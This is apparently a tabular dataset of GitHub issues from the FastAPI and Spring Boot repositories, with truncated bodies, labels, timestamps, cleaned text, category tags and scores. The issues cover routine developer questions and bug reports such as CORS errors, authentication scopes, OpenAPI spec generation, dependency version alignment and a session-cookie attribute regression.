### Operati... [TRUNCATED]","question,question-migrate",2022-08-26 15:52:10+00:00,2023-02-27 21:49:49+00:00,3,"question,question-migrate",185.2484,cors error no access control allow origin header is present first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description wehn i call the ip in the browser it works fine in my react script i get an error image i did add the url to allow origins already operati truncated,bug,0.8779
tiangolo/fastapi,1350826616,using Security scopes with sqladmin endpoint /admin,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
none
```


### Description

I have tried to follow fastapi portal docs to set up authentication/authorization.  
authentication: https://fastapi.tiangolo.com/tutorial/security/oauth2-jwt/
authorization: https://fastapi.tiangolo.com/advanced/security/oauth2-scopes/

when user visits the app main page like http://localhost:8000 if there is not JWT token then he is redirected to login page.  Once login happens he comes to dashboard page.  The /admin is not protected so am looking for way to send him back to login page and only if he has game:admin scope he can come to admin page.

I read about Middleware and seems simple en... [TRUNCATED]","question,question-migrate",2022-08-25 12:33:28+00:00,2023-02-28 15:41:51+00:00,8,"question,question-migrate",187.1308,using security scopes with sqladmin endpoint admin first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i have tried to follow fastapi portal docs to set up authentication authorization authentication authorization when user visits the app main page like if there is not jwt token then he is redirected to login page once login happens he comes to dashboard page the admin is not protected so am looking for way to send him back to login page and only if he has game admin scope he can come to admin page i read about middleware and seems simple en truncated,help,0.9266
tiangolo/fastapi,1350785297,Generates invalid spec if route has no leading slash,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
def test_missing_leading_slash():
    app = fastapi.FastAPI()

    @app.get(""model"", response_model=None)
    def get():
        return None
```


### Description

* Copy the generated spec into editor.swagger.io

```yaml
openapi: 3.0.2
info:
  title: FastAPI
  version: 0.1.0
paths:
  model:
    get:
      summary: Get
      operationId: getmodel_get
      responses:
        '200':
          description: Successful Response
          content:
            application/json:
              schema: {}

```

* See problem:

```
Structural error at paths
should only have path names that start with `/`
Jump to line 5
```

### ... [TRUNCATED]","question,question-migrate",2022-08-25 11:59:41+00:00,2023-02-28 15:41:48+00:00,2,"question,question-migrate",187.1542,generates invalid spec if route has no leading slash first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description copy the generated spec into editor swagger io see problem truncated,help,0.7906
tiangolo/fastapi,1350581807,Muti level swagger docs,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
when I use tags to classify endpoints, swagger ui docs only has one level display, if i want Muti-level api docs, how can I do ?
```


### Description

when I use tags to classify endpoints, swagger ui docs only has one level display, if i want Muti-level api docs, how can I do ?

### Operating System

macOS

### Operating System Details

_No response_

### FastAPI Version

0.79.0

### Python Version

3.7.13

### Additional Context


![](https://fastapi.tiangolo.com/img/index/index-03-swagger-02.png)

like this， https://stackoverflow.com/questions/41800330/multi-level-nested-tagging-in-swagger-ui
","question,question-migrate",2022-08-25 09:08:21+00:00,2023-02-28 15:41:45+00:00,3,"question,question-migrate",187.2732,muti level swagger docs first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description when i use tags to classify endpoints swagger ui docs only has one level display if i want muti level api docs how can i do macos details no response fastapi version python version like this,documentation,0.9274
tiangolo/fastapi,1349374614,Cleaning up stack traces: removing implementation details,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI

app = FastAPI()


@app.get(""/"")
async def root():
    raise Exception('break')
```


### Description

When we raise an exception, I'd like to only log useful information. Currently, my tracebacks contain:
```
ERROR:    Exception in ASGI application
Traceback (most recent call last):
  File ""/Users/dvdcon/.asdf/installs/python/3.10.5/lib/python3.10/site-packages/uvicorn/protocols/http/h11_impl.py"", line 403, in run_asgi
    result = await app(self.scope, self.receive, self.send)
  File ""/Users/dvdcon/.asdf/installs/python/3.10.5/lib/python3.10/site-packages/uvicorn/middleware/proxy_headers.py"", line 78, in __c... [TRUNCATED]","question,question-migrate",2022-08-24 12:33:27+00:00,2023-02-28 15:41:43+00:00,1,"question,question-migrate",188.1307,cleaning up stack traces removing implementation details first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description when we raise an exception i d like to only log useful information currently my tracebacks contain error exception in asgi application traceback most recent call last file users dvdcon asdf installs python lib python site packages uvicorn protocols http h impl py line in run asgi result await app self scope self receive self send file users dvdcon asdf installs python lib python site packages uvicorn middleware proxy headers py line in c truncated,help,0.9468
tiangolo/fastapi,1349009335,About behavior HTTPException of sub-applications,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, Depends, HTTPException
from fastapi.responses import JSONResponse
from starlette.middleware.cors import CORSMiddleware


app = FastAPI()
app.add_middleware(
    CORSMiddleware,
    allow_origins=['*'],
    allow_credentials=True,
    allow_methods=['*'],
    allow_headers=['*'],
    expose_headers=['*'],
)

sub = FastAPI()


@sub.get('/', status_code=200)
async def get():
    raise HTTPException(400, 'error handling sub app')


async def http_exception_handler(_, exc):
    return JSONResponse(exc.detail, status_code=exc.status_code)

# not working
app.add_exception_handler(HTTPException, http_ex... [TRUNCATED]","question,question-migrate",2022-08-24 07:42:30+00:00,2023-02-27 21:49:45+00:00,5,"question,question-migrate",187.5884,about behavior httpexception of sub applications first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from fastapi import fastapi depends httpexception from fastapi responses import jsonresponse from starlette middleware cors import corsmiddleware app fastapi app add middleware corsmiddleware allow origins allow credentials true allow methods allow headers expose headers sub fastapi sub get status code async def get raise httpexception error handling sub app async def http exception handler exc return jsonresponse exc detail status code exc status code not working app add exception handler httpexception http ex truncated,help,0.9578
tiangolo/fastapi,1347471534, Do I really need to use ORM in fastAPI?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import aiomysql

Class DataBase():

    async def __init__(self, loop):
        self.conn = await aiomysql.connect( ... )

    async def execute(self, query, loop):
        cur = await self.conn.cursor()
        sql_result = cur.execut(query)
        return sql_result
```


### Description

hello. I am a developer who developed with flask and is considering moving to fastAPI. When developing on flask, i use the above class to insert or retrieve data from DB. However, in fastAPI (perhaps only sqlAlchemy is supported), there seems to be no usages anywhere to using 'execute' method to get actual DB data rows.

I try to avoid using sqlAlchemy... [TRUNCATED]","question,question-migrate",2022-08-23 07:30:09+00:00,2023-02-27 21:49:42+00:00,2,"question,question-migrate",188.5969,do i really need to use orm in fastapi first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description hello i am a developer who developed with flask and is considering moving to fastapi when developing on flask i use the above class to insert or retrieve data from db however in fastapi perhaps only sqlalchemy is supported there seems to be no usages anywhere to using execute method to get actual db data rows i try to avoid using sqlalchemy truncated,help,0.8765
tiangolo/fastapi,1347287715,How to get the link of images in json,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
app = FastAPI()

app.mount('/static', StaticFiles(directory='static'), name='static')

@app.get('/get/image')
async def get_image(db: Session = Depends(database.get_db)):
    img = db.query(store.Images).all()
    return img
```


### Description

Currently, my response is as follows:
```
[
  {
  ""id"":1,
  ""image_url"":""./static/image_name.png""
  }
]
```

But I expect images to be returned as urls in my response:
```
[
  {
  ""id"":1,
  ""image_url"":""http://Site_Address/static/image_name.png""
  }
]
```

### Operating System

Windows


### FastAPI Version

0.78.0

### Python Version

3.10.5
","question,question-migrate",2022-08-23 03:49:26+00:00,2023-02-27 21:49:39+00:00,5,"question,question-migrate",188.7502,how to get the link of images in json first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description currently my response is as follows but i expect images to be returned as urls in my response windows fastapi version python version,help,0.9136
tiangolo/fastapi,1346261389,Custom Controller to handle incoming request,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import gzip
from typing import Callable, List
import time

from fastapi import Body, FastAPI, Request, Response
from fastapi.routing import APIRoute

app = FastAPI()

@app.get(""/urlinfo/cat"")
async def root(url: str):
    return {""message"": ""Categroy""}

@app.get(""/urlinfo/rep"")
async def root(url: str):
    return {""message"": ""Reputation""}

@app.get(""/urlinfo/topcat"")
async def root(url: str):
    return {""message"": ""Top Category""}
```


### Description

Hi @tiangolo,

For my college project I want to create a custom route handler which would take the incoming request and assign handlers based on the request url path.

Example:... [TRUNCATED]","question,question-migrate",2022-08-22 11:37:49+00:00,2023-02-28 15:41:40+00:00,3,"question,question-migrate",190.1693,custom controller to handle incoming request first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description hi tiangolo for my college project i want to create a custom route handler which would take the incoming request and assign handlers based on the request url path example truncated,feature,0.9413
tiangolo/fastapi,1345723122,Best way to pass dependencies to other functions?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
.
```


### Description

If I have a situation like below I will get an error because you can't use Depends() with non-route functions it seems. Specifically, I will get an error saying `AttributeError: 'Depends' object has no attribute 'exec'`

```python
def get_session():
    with Session(engine) as session:
        yield session

def some_other_func(*, session: Session = Depends(get_session)):
    users = session.exec(select(User))
    print(""doing some other func thing"")

@router.post(""/demo"")
def demo(*, session: Session = Depends(get_session)):
    some_other_func()
    return {""demo"": ""success""}
```

If instead, I try to pass ... [TRUNCATED]","question,question-migrate",2022-08-22 02:32:28+00:00,2023-02-27 21:49:36+00:00,2,"question,question-migrate",189.8036,best way to pass dependencies to other functions first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description if i have a situation like below i will get an error because you can t use depends with non route functions it seems specifically i will get an error saying if instead i try to pass truncated,help,0.8608
tiangolo/fastapi,1345197184,"http/1.1 ""500 Internal Server Error ERROR:    Exception in ASGI application""","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# import libraries
from fastapi import FastAPI
from pycaret.classification import *
import uvicorn
import pandas as pd
import warnings
warnings.filterwarnings('ignore')

# define the app object
app = FastAPI()

# Load the model
model = load_model('rf_class_heart_failure_model')

# define function


@app.post('/predict')
def predict(age, sex, chest_pain, r_blood_pressure, cholesterol, f_blood_sugar, r_ecg, max_heart_rate, exer_angina,
            oldpeak, slope_peak, major_vessels, thal):
    data = pd.DataFrame([[age, sex, chest_pain, r_blood_pressure, cholesterol, f_blood_sugar, r_ecg, max_heart_rate,
                          e... [TRUNCATED]","question,question-migrate",2022-08-20 15:45:33+00:00,2023-02-28 15:41:37+00:00,6,"question,question-migrate",191.9973,http internal server error error exception in asgi application first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python import libraries from fastapi import fastapi from pycaret classification import import uvicorn import pandas as pd import warnings warnings filterwarnings ignore define the app object app fastapi load the model model load model rf class heart failure model define function app post predict def predict age sex chest pain r blood pressure cholesterol f blood sugar r ecg max heart rate exer angina oldpeak slope peak major vessels thal data pd dataframe age sex chest pain r blood pressure cholesterol f blood sugar r ecg max heart rate e truncated,bug,-0.959
tiangolo/fastapi,1345193927,"Showing {   ""detail"": ""Not authenticated"" } when authorized ","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

I have followed the documentation and still showing like that !! 

authentication.py

```python


from fastapi import APIRouter, Depends
import schemas, database , models
from sqlalchemy.orm import Session
from passlib.context import CryptContext
import jwt_token
from fastapi.security import OAuth2PasswordRequestForm

router = APIRouter(
    tags=[""Authentication""]
)

get_db = database.get_db

pwd_cxt = CryptContext(schemes=[""bcrypt""], deprecated=""auto"")

@router.post(""/login"")
def login(request:OAuth2PasswordRequestForm = Depends(), db: Session = Depends(get_db)):
    user = db.query(models.Users).filter(models.Users.e... [TRUNCATED]","question,question-migrate",2022-08-20 15:38:39+00:00,2023-02-27 21:49:33+00:00,2,"question,question-migrate",191.2576,showing detail not authenticated when authorized first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code i have followed the documentation and still showing like that authentication py python from fastapi import apirouter depends import schemas database models from sqlalchemy orm import session from passlib context import cryptcontext import jwt token from fastapi security import oauth passwordrequestform router apirouter tags authentication get db database get db pwd cxt cryptcontext schemes bcrypt deprecated auto router post login def login request oauth passwordrequestform depends db session depends get db user db query models users filter models users e truncated,help,0.9587
spring-projects/spring-boot,4678533386,Managed version of Prometheus Client is not aligned with Micrometer's micrometer-registry-prometheus,"
With Spring Boot 4.1.0, when depending on `micrometer-registry-prometheus` and when using the `requireUpperBoundDeps` rule of `maven-enforcer-plugin`, this triggers a violation as follows:

```
[ERROR] Rule 0: org.apache.maven.enforcer.rules.dependency.RequireUpperBoundDeps failed with message:
[ERROR] Failed while enforcing RequireUpperBoundDeps. The error(s) are [
[ERROR] Require upper bound dependencies error for io.prometheus:prometheus-metrics-exposition-formats:1.5.1 [runtime]. Paths to dependency are:
[ERROR] +-be.pdn.boot:upperbound-issue:0.0.1
[ERROR]   +-io.micrometer:micrometer-registry-prometheus:1.17.0
[ERROR]     +-io.prometheus:prometheus-metrics-exposition-formats:1.5.1 [runtime] (managed) <-- io.prometheus:prometheus-metrics-exposition-formats:1.7.0 [runtime]
[ERROR] ,
[ERROR] Require upper bound dependencies error for io.prometheus:prometheus-metrics-tracer-common:1.5.1. Paths to dependency are:
[ERROR] +-be.pdn.boot:upperbound-issue:0.0.1
[ERROR]   +-io.micrometer:micrometer-registry-prometheus:1.17.0
[ERROR]     +-io.prometheus:prometheus-metrics-tracer-common:1.5.1 (managed) <-- io.prometheus:prometheus-metrics-tracer-common:1.7.0
[ERROR] ,
[ERROR] Require upper bound dependencies error for io.prometheus:prometheus-metrics-core:1.5.1. Paths to dependency are:
[ERROR] +-be.pdn.boot:upperbound-issue:0.0.1
[ERROR]   +-io.micrometer:micrometer-registry-prometheus:1.17.0
[ERROR]     +-io.prometheus:prometheus-metrics-core:1.5.1 (managed) <-- io.prometheus:pro... [TRUNCATED]",type: bug,2026-06-16 22:59:12+00:00,2026-06-17 05:45:44+00:00,1,type: bug,0.2823,managed version of prometheus client is not aligned with micrometer s micrometer registry prometheus with spring boot when depending on and when using the rule of this triggers a violation as follows error rule org apache maven enforcer rules dependency requireupperbounddeps failed with message error failed while enforcing requireupperbounddeps the error s are error require upper bound dependencies error for io prometheus prometheus metrics exposition formats runtime paths to dependency are error be pdn boot upperbound issue error io micrometer micrometer registry prometheus error io prometheus prometheus metrics exposition formats runtime managed io prometheus prometheus metrics exposition formats runtime error error require upper bound dependencies error for io prometheus prometheus metrics tracer common paths to dependency are error be pdn boot upperbound issue error io micrometer micrometer registry prometheus error io prometheus prometheus metrics tracer common managed io prometheus prometheus metrics tracer common error error require upper bound dependencies error for io prometheus prometheus metrics core paths to dependency are error be pdn boot upperbound issue error io micrometer micrometer registry prometheus error io prometheus prometheus metrics core managed io prometheus pro truncated,bug,-0.9966
spring-projects/spring-boot,4675504737,spring grpc and spring boot version drift,"Hello,

there is a small version drift between spring grpc and spring boot. It is grpc bom 1.80 vs 1.81.
There is an issue if you generate the proto classes with 1.80 and if you implement those classes in another project where the spring boot dependencies bom uses dependency resolution and chooses version 1.81.

I've seen that you already added a fix.
Could you release a hot fix for that?

Thank you in advance.",status: duplicate,2026-06-16 15:13:11+00:00,2026-06-16 15:44:22+00:00,1,status: duplicate,0.0217,spring grpc and spring boot version drift hello there is a small version drift between spring grpc and spring boot it is grpc bom vs there is an issue if you generate the proto classes with and if you implement those classes in another project where the spring boot dependencies bom uses dependency resolution and chooses version i ve seen that you already added a fix could you release a hot fix for that thank you in advance,others,0.7579
spring-projects/spring-boot,4674477800,Spring Boot Gradle Plugin incompatible with Gradle isolated projects,"<!--
Thanks for raising a Spring Boot issue. Please take the time to review the following
categories as some of them do not apply here.

🙅 ""Please DO NOT Raise an Issue"" Cases
- Question
STOP!! Please ask questions about how to use something, or to understand why something isn't
working as you expect it to, on Stack Overflow using the spring-boot tag.
- Security Vulnerability
STOP!! Please don't raise security vulnerabilities here. Head over to https://spring.io/security-policy to learn how to disclose them responsibly.
- Managed Dependency Upgrade
You DO NOT need to raise an issue for a managed dependency version upgrade as there's a semi-automatic process for checking managed dependencies for new versions before a release. BUT pull requests for upgrades that are more involved than just a version property change are still most welcome.
- With an Immediate Pull Request
An issue will be closed as a duplicate of the immediate pull request, so you don't have to raise an issue if you plan to create a pull request immediately.

🐞 Bug report (please don't include this emoji/text, just add your details)
Please provide details of the problem, including the version of Spring Boot that you
are using. If possible, please provide a test case or sample application that reproduces
the problem. This makes it much easier for us to diagnose the problem and to verify that
we have fixed it.

🎁 Enhancement (please don't include this emoji/text, just add your details)
Please start by describing t... [TRUNCATED]",status: waiting-for-triage,2026-06-16 13:11:16+00:00,2026-06-16 15:43:53+00:00,0,status: waiting-for-triage,0.106,spring boot gradle plugin incompatible with gradle isolated projects thanks for raising a spring boot issue please take the time to review the following categories as some of them do not apply here please do not raise an issue cases question stop please ask questions about how to use something or to understand why something isn t working as you expect it to on stack overflow using the spring boot tag security vulnerability stop please don t raise security vulnerabilities here head over to to learn how to disclose them responsibly managed dependency upgrade you do not need to raise an issue for a managed dependency version upgrade as there s a semi automatic process for checking managed dependencies for new versions before a release but pull requests for upgrades that are more involved than just a version property change are still most welcome with an immediate pull request an issue will be closed as a duplicate of the immediate pull request so you don t have to raise an issue if you plan to create a pull request immediately bug report please don t include this emoji text just add your details please provide details of the problem including the version of spring boot that you are using if possible please provide a test case or sample application that reproduces the problem this makes it much easier for us to diagnose the problem and to verify that we have fixed it enhancement please don t include this emoji text just add your details please start by describing t truncated,others,0.9223
spring-projects/spring-boot,4673425991,Spring gRPC dependencies,"Hello,

I'd like to request if it is possible if you could additional gRPC dependencies to your spring-boot-dependencies bom.
The versions of the dependencies I'd like to request are already tracked.

The dependencies with an x are already tracked.
- [x] ""io.grpc:grpc-bom"" v: grpc-java.version
- [ ]  ""io.grpc:protoc-gen-grpc-java"" v: grpc-java.version
- [x] ""io.grpc:grpc-kotlin-sub"" v: grpc-kotlin.version
- [ ]  ""io.grpc"":protoc-gen-grpc-kotlin"" v: grpc-kotlin.version
- [x] ""com.google.protobuf:protobuf-bom"" v: protobuf-java.version
- [ ]  ""com.google.protobuf:protoc"" v: protobuf-java.version

Thank you in advance.",,2026-06-16 10:45:52+00:00,2026-06-17 10:40:57+00:00,3,nan,0.9966,spring grpc dependencies hello i d like to request if it is possible if you could additional grpc dependencies to your spring boot dependencies bom the versions of the dependencies i d like to request are already tracked the dependencies with an x are already tracked x io grpc grpc bom v grpc java version io grpc protoc gen grpc java v grpc java version x io grpc grpc kotlin sub v grpc kotlin version io grpc protoc gen grpc kotlin v grpc kotlin version x com google protobuf protobuf bom v protobuf java version com google protobuf protoc v protobuf java version thank you in advance,others,0.7579
spring-projects/spring-boot,4670422817,`server.servlet.session.cookie.partitioned=false` still emits the `Partitioned` cookie attribute,"Setting `server.servlet.session.cookie.partitioned=false` still produces `; Partitioned` on the session cookie. This is a regression from the fix for #50201 (commit b02f7dd, first released in 4.0.7).

In `ServletContextInitializers.SessionConfiguringInitializer.configureSessionCookie`:

```java
map.from(cookie::getPartitioned).to((partitioned) -> config.setAttribute(""Partitioned"", """"));
```

`PropertyMapper.to(...)` only filters `null`, so `Boolean.FALSE` reaches the consumer. The lambda then ignores the actual Boolean value and always sets the `Partitioned` attribute to `""""`. Tomcat's `Rfc6265CookieProcessor` emits `; Partitioned` when the attribute is `""""`, so an explicit `false` is rendered the same as `true`. The attribute is set by the container-agnostic `ServletContextInitializers`, so the same mapping applies to Jetty.

The #50201 fix also changed `AbstractServletWebServerFactoryTests.sessionConfiguration`, which sets `partitioned=false`, to assert `getAttribute(""Partitioned"")).isEqualTo("""")`. That checks the internal attribute value, not the resulting `Set-Cookie` header.

## Reproduction

A header-level test against Tomcat fails with the current code:

```java
@Test
void sessionCookieNotPartitionedAttribute() throws Exception {
    ConfigurableServletWebServerFactory factory = getFactory();
    factory.getSettings().getSession().getCookie().setPartitioned(false);
    factory.addInitializers(new ServletRegistrationBean<>(new CookieServlet(false), ""/""));
